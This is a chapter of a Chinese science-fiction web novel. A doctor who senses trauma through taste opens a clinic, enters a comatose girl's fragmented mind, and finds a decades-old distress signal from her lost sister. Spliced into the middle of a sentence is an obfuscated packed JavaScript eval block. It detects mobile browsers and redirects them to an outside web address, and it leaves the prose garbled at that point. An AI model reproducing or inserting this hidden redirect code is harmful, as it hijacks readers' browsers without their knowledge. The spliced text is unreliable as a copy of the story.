七月十一日，清晨七点。
星语者诊疗室正式开业。
沈烬穿着简单的白色工装，头发扎成利落的马尾，站在接待台后。李小雅穿着同样款式的工装，有些紧张地站在她旁边。五个志愿者助手在候诊区忙碌，整理档案，准备药品，调试设备。
周凛冬在门口检查最后的安保细节。两个退役老兵穿着便装，坐在接待区角落，像普通患者，但眼神锐利。
七点三十分，第一位预约患者到了。
是个中年男人，穿着矿工制服，手上有新鲜烧伤。他坐在诊疗椅上，局促不安。
“沈医生，我……我总梦见矿道塌了。每次下矿都手抖，已经两个月没开工了。家里快揭不开锅了……”
沈烬检查了他的手，询问症状，然后开出处方——标准抗焦虑药物，配合饮食调理。整个过程十分钟，李小雅在旁边记录学习。
“这是轻度创伤后应激障碍，常规治疗有效。”沈烬对李小雅解释，“重点是让他重新建立安全感。药物是辅助，更重要的是生活秩序的重建——规律作息，适当工作，社交支持。”
李小雅认真点头。
第二位患者是老太太，失去孙子后失眠，总听见婴儿哭。沈烬开了安神茶配方，又安排志愿者每周上门探望一次。
“孤独会放大创伤。陪伴有时比药物重要。”
第三位，第四位，第五位……
上午看了十二个轻度患者，都是常规病例。沈烬的处理快速、准确，但李小雅注意到，沈烬几乎不吃不喝，只是偶尔抿一口薄荷水。
“姐姐，你不饿吗？”午休时，李小雅小声问。
“不太饿。”沈烬摇头，“尝太多味道，会没胃口。这是副作用。”
李小雅想起哥哥生病时，妈妈也总说没胃口。原来照顾别人的人，自己也在承受代价。
下午一点，第一个重症患者到了。
是被担架抬进来的。
患者是个年轻女孩，大概十六七岁，瘦得皮包骨，闭着眼，但眼皮在剧烈颤动。她穿着宽大的病号服，手腕和脚踝有约束带留下的淤青。陪同的是个中年女人，眼睛红肿，应该是母亲。
“沈医生，求您救救我女儿……”女人跪下来，“她叫小雨，三个月前还好好的，突然就……就变成这样了。不说话，不吃饭，有时候尖叫，说些听不懂的话。医院说是严重虚空症，没法治，只能关着……”
沈烬扶起女人，走到担架边。小雨的呼吸很浅，很急，胸口起伏像挣扎的鸟。沈烬蹲下，轻轻握住她的手。
冰冷，僵硬，在颤抖。
“小雨？”沈烬轻声唤。
女孩的眼皮颤动加剧，但没有睁开。
沈烬转头对李小雅说：“准备三号诊疗室，生命监测设备，情绪稳定剂。秦博士到了吗？”
“在路上了，五分钟到。”李小雅回答。
担架被推进诊疗室。沈烬让母亲在观察室等待，自己进入诊疗室，关上门。
房间是隔音的，墙面是柔和的浅蓝色，灯光调暗。小雨被移到治疗床上，身上贴上监测电极。屏幕亮起，显示数据——心率120，呼吸频率30，脑波异常活跃，呈多重节律叠加。
“典型的意识分裂。”秦彻的声音从通讯器传来，他在隔壁观察室，“脑波显示至少三个人格在争夺控制权。但奇怪的是，三个人格的脑波频率不同，一个在正常范围，一个在theta波（浅睡状态），一个在delta波（深睡状态）。这不像普通的多重人格……”
“像时间错乱。”沈烬接上，“三个人格卡在不同时间点？”
“有可能。试试尝她的唾液样本，看能否分辨出时间印记。”
沈烬用棉签取了小雨的唾液样本，放进分析仪。然后，她自己尝了一点点。
味道在舌尖炸开。
第一层：苦。药的苦，眼泪的苦，绝望的苦。
第二层：甜。
突然的甜，像糖果，像冰淇淋，像……生日蛋糕。很稚嫩，很纯粹的甜，属于孩子的味觉。
第三层：腥。
血的腥。不是外伤的血，是内部的，像脏器出血。混合着消毒水的刺鼻。
第四层：薄荷。
又是薄荷。
很淡，很清凉，像夏夜的风。但这次的薄荷味里，带着一种……求救的信号。很微弱，像远方传来的哭声。
沈烬睁开眼睛，脸色发白。
“尝到什么？”秦彻问。
“三个人格，三个时间点。”沈烬缓缓说，“第一个人格，大约七岁，生日当天，在吃蛋糕。很幸福，很甜。”
“第二个人格，十五岁，在医院。生病了，很痛苦，内脏在出血。她尝到血和药的味道，很绝望。”
“第三个人格……就是现在，十六岁。但她的味觉里，混进了第四种味道——薄荷。那不是她的记忆，是……外来的。像有人把薄荷味强行塞进她的意识里。”
秦彻沉默了几秒。“外来的？你的意思是……”
“有人对她做了手脚。”沈烬看向小雨，“她的意识分裂，可能不是自然发生的。是被人为植入了一个‘信号’——薄荷信号。这个信号在干扰她的时间感，把三个人格搅乱，困在不同时间点出不来。”
“谁能做到这种事？”
“能操控时间感知的人。”沈烬想起那个灰帽衫男人，“或者……有相关技术的人。”
她走到小雨床边，俯身，在她耳边轻声说：“小雨，能听到我说话吗？”
女孩的眼皮颤动，但没睁眼。
“我知道你在三个时间里迷失了。七岁的生日，十五岁的病房，还有现在。但你不是一个人，有人在找你，在帮你。你闻到薄荷味了吗？那是……信号，是有人想告诉你，他还记得你。”
小雨的手指动了动。
“你想回到哪个时间？”沈烬继续，“七岁的生日？蛋糕很好吃，对吗？但你不想一直停留在七岁，因为后面还有很多年，很多事等着你。十五岁的病房很痛苦，但你扛过来了，你很勇敢。现在……现在虽然很难，但你还活着，还在呼吸，还有妈妈在等你。”
女孩的眼角渗出眼泪。
“我可以帮你整合时间，但需要你同意。你愿意让我帮你吗？”
漫长的沉默。
然后，很轻很轻的，小雨点了点头。
幅度很小，但确实点头了。
“好。”沈烬直起身，对秦彻说，“准备时间锚定设备。我要进入她的意识，帮她缝合时间裂痕。”
“风险太大！”秦彻反对，“你才完成基础训练，没处理过这种复杂案例。而且进入他人意识，可能被卷入她的时间流，出不来！”
“但她等不了。”沈烬看着小雨痛苦的脸，“三个人格在互相撕扯，每分每秒都在消耗她的生命力。再拖下去，她会意识消散，变成植物人。”
“那也不能——”
“秦博士。”沈烬打断他，声音很平静，“这是我的选择。如果连一个女孩都救不了，我拿什么去救我父母？”
通讯器那头沉默。
良久，秦彻说：“需要我做什么？”
“监控我的生命体征，时间流逝速度。如果我的意识被困，立即用物理方式拉回——电击，或者药物冲击。小雨这边，准备强心剂和大脑保护剂。我们同步进行。”
“明白了。”
沈烬深吸一口气，躺到小雨旁边的治疗床上。设备启动，头盔戴上，电极贴好。李小雅在观察室紧张地看着，手心全是汗。
“开始。”沈烬说。
设备启动，她的意识开始下沉。
黑暗。
然后是光。
很多光，彩色的，旋转的，像万花筒。沈烬感觉自己在下坠，穿过光的隧道，落在……一个生日派对上。
很简陋的派对，在一个狭小的房间里。墙上贴着手工画的彩带，桌上摆着一个小蛋糕，插着七根蜡烛。小女孩坐在桌前，穿着洗得发白的裙子，但笑得很开心。她是小雨，七岁的小雨。
“许愿吧，小雨！”妈妈的声音传来，很年轻，很温柔。
小雨闭眼许愿：“希望妈妈永远开心，希望我快点长大，赚很多钱，给妈妈买大房子！”
然后吹灭蜡烛。
画面定格在这一刻。七岁的小雨，永远停在吹灭蜡烛的瞬间。她的时间不再流动，卡在幸福的顶点，因为后面的日子……太苦了。
沈烬走过去，轻声说：“蛋糕好吃吗？”
小雨转头看她，眼睛亮晶晶的。“好吃！姐姐你要吃吗？”
“可以吗？”
“嗯！”小雨切下一大块给她。
沈烬接过，尝了一口。很甜，人造奶油的味道，糖放多了。但里面有爱，妈妈省下三天工钱买蛋糕的爱。
“你妈妈很爱你。”沈烬说。
“嗯！我也爱妈妈！”小雨笑。
“那你想不想知道，妈妈后来怎么样了？”
小雨愣住。“后来？”
“后来你长大了，上了学，考了第一名。妈妈高兴得哭了，说你是她的骄傲。再后来，你生病了，妈妈在医院守了你三个月，每天只睡三小时。她说，只要你能好，她什么都愿意做。”
小雨的眼睛红了。“我……我生病了？”
“嗯，很重的病。但你很勇敢，挺过来了。现在，你在另一个地方，妈妈在外面等你。但你需要先离开这里，去下一个时间点。”
“离开这里……”小雨看着周围，“可是这里很好，有蛋糕，有妈妈……”
“但这是假的。”沈烬指着墙上的彩带，“看，彩带是纸剪的，颜色都掉了。蛋糕是昨天的，已经硬了。真正的妈妈在外面，老了，累了，在等你回家。”
小雨哭了。“我想妈妈……”
“那就跟我来。”
沈烬牵起她的手。周围的景象开始融化，像蜡一样流下。生日派对消失，她们坠入下一个场景。
病房。
白色的墙壁，消毒水的味道，仪器的滴答声。十五岁的小雨躺在病床上，脸色苍白，身上插着管子。她在输液，液体是暗红色的，像血。
“疼……”她喃喃道。
沈烬走过去，握住她的手。“我知道很疼。但你扛过来了，记得吗？”
小雨睁开眼，眼神涣散。“你是谁？”
“是来帮你的人。你在这里多久了？”
“不知道……永远都在疼……永远都在输液……”小雨的眼泪流下来，“为什么是我？我做错什么了？”
“你没做错任何事。”沈烬擦掉她的眼泪，“生病不是惩罚，是意外。你很坚强，活下来了。但现在，你需要离开这里，去现在的时间。”
“现在？”小雨茫然，“现在是什么？”
“现在是你十六岁，病好了，在家休养。但你被困在过去的痛苦里，出不来。外面有妈妈在等你，有未来在等你。你要出去吗？”
小雨沉默了很久，才说：“我怕……怕出去之后，又疼……”
“不会了。”沈烬轻声说，“最疼的时候已经过去了。后面的日子，还会有很多好事——春天花开，夏天吃冰，秋天看落叶，冬天堆雪人。还有很多好吃的，好玩的，很多人爱你。”
“真的吗？”
“真的。我保证。”
小雨看着她，然后很慢地点头。“我相信你。”
病房也开始融化。她们再次下坠，这次落在一片黑暗中。
绝对的黑暗，没有光，没有声音，只有她们两个人。
“这是哪里？”小雨害怕地抓紧沈烬的手。
“是你的意识深处。也是……别人植入信号的地方。”沈烬环顾四周，“薄荷味就是从这里来的。有人在用这个信号干扰你，让你困在时间里。”
“谁？”
“一个想联系你的人。”沈烬在黑暗中摸索，找到了味道的来源——一个淡绿色的光点，在黑暗中闪烁。她伸手触碰。
光点炸开，化作无数画面碎片——
一个实验室，巨大的玻璃培养舱，里面漂浮着一个婴儿。婴儿左肩有银色胎记，像星图。
一个女人（林晓棠）站在培养舱前，手贴在玻璃上，流泪。
一个男人（林守时）在操作台前，记录数据。他抬头，看向培养舱，眼神狂热又悲伤。
然后画面切换——婴儿长大了些，三四岁的样子，坐在轮椅上，左肩的胎记在发光。她面前摆着一盘薄荷糖，她拿起一颗，放进嘴里，笑了。
接着是爆炸。火光，尖叫声，培养舱碎裂。女人扑向孩子，男人冲向控制台。然后一切陷入黑暗。
画面结束。
沈烬的心脏狂跳。
那是妹妹。沈曦。在林守时的实验室里。
薄荷糖……是妹妹喜欢的？
那个信号，是妹妹发出的？但妹妹在门后，怎么会……
除非，信号是四十年前发出的，卡在时间流里，现在才被小雨接收到。因为小雨的意识在时间中混乱，无意中捕捉到了这个陈旧的信号。
“姐姐……”小雨的声音把她拉回现实，“那个小妹妹……是谁？”
“是我妹妹。”沈烬轻声说，“她也在等我救她。”
“那你去救她吧。”小雨说，“我……我可以自己出去了。我听到妈妈的声音了。”
黑暗中，出现一道光门。门外传来女人的哭泣和呼唤：“小雨……妈妈在这里……回来吧……”
小雨走向光门，回头对沈烬笑了笑。“谢谢姐姐。你也要……救你妹妹。”
“嗯。”
小雨走进光门，消失了。
沈烬站在原地，看着那个淡绿色的光点重新凝聚。这次，光点没有炸开，而是化作一行闪烁的字：
【姐姐，我在第七区第三实验室。2027.7.28】
日期是父亲关门那天。
位置是……第七避难所？
不，第七区指的是广寒宫第七区？但2027年广寒宫还没完全建成……
除非，是指地球上的第七区。也就是第七避难所。
第三实验室……是“园丁”项目的核心实验室？
信号是四十年前的，但现在才被接收。这说明妹妹在四十年前，在父亲关门那天，尝试联系过外界。但信号在时间流里漂流了四十年，直到现在，被一个意识混乱的女孩接收到。
妹妹在求救。
四十年前
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17296957|198576||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
，在父亲关门那天，她在求救。
沈烬感到一阵窒息。所以她这四十年的孤独，父母四十年的囚禁，妹妹四十年的等待……都源于那一天。
“沈烬！醒醒！”
秦彻的声音从遥远的地方传来，伴随着电击般的刺痛。沈烬的意识被强行拉回现实。
她猛地睁开眼，剧烈喘息。
“生命体征稳定，但时间消耗……二十四小时。”秦彻的声音在耳边响起，“你进去了一小时，外界过了一天。”
沈烬坐起来，看向旁边的小雨。
女孩睁着眼，眼神清澈，在流泪。她看着天花板，轻声说：“妈妈……”
观察室的门被撞开，女人冲进来，扑到床边，抱住女儿大哭。“小雨！小雨你醒了！你认得妈妈了吗？”
“妈……”小雨伸手，抱住母亲，“我做了好长的梦……梦见生日，梦见医院……还梦见一个姐姐，她救了我……”
女人哭得说不出话，只是拼命点头。
沈烬下床，腿有些软。李小雅扶住她。“姐姐，你脸色好白……”
“没事。”沈烬走到床边，对小雨说，“好好休息，按时吃药，按时复查。会好起来的。”
小雨看着她，眼泪又流下来。“谢谢您，沈医生。您妹妹……一定会等到您的。”
沈烬一愣，然后点头。“嗯。”
离开诊疗室，秦彻在走廊等她，脸色凝重。
“你看到什么了？”
沈烬把看到的画面和那行字说了一遍。
秦彻听完，沉默了很久。“2027年7月28日……那天发生了什么，我只有模糊的记忆。但我记得，林守时在那天凌晨联系过我，说‘计划提前了，孩子必须转移’。但没说完，通讯就中断了。再后来，就发生了大撕裂。”
“转移去哪里？”
“不知道。但林守时在广寒宫建成前，就在各个空间站建立了秘密实验室。第七区第三实验室……可能是其中一个。但四十年了，早就废弃了。”
“废弃了也要找。”沈烬说，“妹妹在那里留下了信号，一定有线索。”
秦彻看着她。“沈烬，你需要休息。你刚消耗了一天寿命，又经历高强度意识潜入。再这样下去，你撑不到开门那天。”
“我撑得住。”沈烬说，“但小雨的病例……不是孤例，对吗？”
秦彻点头。“最近三个月，广寒宫出现了七例类似的多重人格+时间错乱病例。年龄都在十五到二十岁之间，都是突然发病。之前找不到关联，但现在看来……”
“都接收到了那个薄荷信号。”沈烬接上，“妹妹在尝试联系外界，但信号在时间流里扭曲了，干扰了接收者的意识。小雨是第七个，但不会最后一个。还会有更多人受害。”
“所以你要找到信号源，关掉它。”
“嗯。但在那之前，我要先处理预约的患者。”沈烬看了眼时间，“下午还有九个患者。李小雅，准备一下。”
秦彻还想说什么，但最终只是叹了口气。
晚上八点，最后一个患者离开。
沈烬累得几乎站不稳，靠在接待台上。一天看了二十一个患者，其中三个重症。她的时间流逝速度又增加了半天——总共消耗了一天半寿命。
但救了一个女孩，找到了妹妹的线索。
值得。
李小雅递给她一杯热薄荷茶。“姐姐，喝点。”
沈烬接过，喝了一口。温暖的液体流进胃里，稍微缓解了疲劳。
“小雅，今天感觉怎么样？”
“很累……但很充实。”李小雅眼睛亮亮的，“尤其是小雨姐姐醒来的那一刻，她妈妈哭的时候……我觉得我在做对的事。像哥哥希望的那样。”
沈烬摸摸她的头。“你做得很好。但记住，别把自己累垮。明天你休息，后天再来。”
“我不累！”
“这是医嘱。”沈烬认真说，“照顾别人的人，首先要照顾好自己。回去好好睡一觉，陪陪你妈妈。”
李小雅这才点头。“好。姐姐你也早点休息。”
诊疗室安静下来。周凛冬走进来，递给她一个饭盒。
“老陆餐厅送来的，说是员工餐。趁热吃。”
沈烬打开，是简单的米饭和青菜，但香气扑鼻。她吃了一口，尝到了……关心的味道。陆知行虽然总是用生意包装，但心是热的。
“谢谢。”
“不客气。”周凛冬在旁边坐下，“今天的事我听秦彻说了。你妹妹的线索……很重要。但第七区第三实验室，是广寒宫建成初期的禁区，现在被划为辐射废弃区，要进去很麻烦。”
“需要什么手续？”
“军方权限，或者陆知行那种级别的商业特许权。但即使进去，也未必能找到什么。四十年了，该拆的拆，该毁的毁。”
沈烬沉默地吃饭。她知道周凛冬说得对，但哪怕只有一线希望，她也要去。
“不过，”周凛冬话锋一转，“我可以用‘调查废弃区安全隐患’的名义申请进入许可。但需要时间，大概一周。”
“一周可以等。”
“另外，”周凛冬看着她，“老陆说，他找到了林守时的一些旧笔记，关于‘时间信号传输’的。可能对你理解那个薄荷信号有帮助。明天他拿来给你。”
沈烬点头。团队在慢慢成形——秦彻的技术，周凛冬的权限，陆知行的资源，她的能力。虽然各自有各自的动机，但目标一致。
这就够了。
吃完饭，她收拾东西准备回住处。走到诊疗室门口时，一个黑影从角落闪出。
是灰帽衫男人。
下巴的伤疤在昏暗灯光下很明显。他递给她一个小布包，转身就跑。
“等等！”沈烬想追，但周凛冬拦住了她。
“别追，可能有陷阱。”
沈烬打开布包。里面是一小块破碎的玻璃，边缘有烧灼痕迹。玻璃上沾着暗红色的污渍，像是干涸的血。还有一张纸条：
【她在第七区第三实验室B3培养舱。2027.7.28 03:17。带薄荷糖。】
字迹很旧，墨迹晕开，但能辨认。
是四十年前的纸条。
灰帽衫男人，一直在传递四十年前的信息。
他是谁？为什么有这些？为什么现在才给？
沈烬握紧玻璃碎片，边缘割破了手指。血滴在纸条上，和那些暗红污渍混在一起。
她尝到了味道。
血。很旧的血，四十年前的。
薄荷。新鲜的薄荷，像刚摘的。
还有…… 眼泪。很咸，很苦的眼泪。
是谁的血？是谁的泪？
是妹妹的吗？
是父亲的吗？
还是……母亲的？
她不知道。但她知道，她必须去第七区第三实验室。
必须找到那个培养舱。
必须知道，四十年前的03:17，到底发生了什么。
夜色深了。沈烬把玻璃碎片和纸条收好，走出诊疗室。
广寒宫在头顶旋转，星空在窗外沉默。
而在地下深处，在废弃的实验室里，一个四十年前的秘密，在等待她揭开。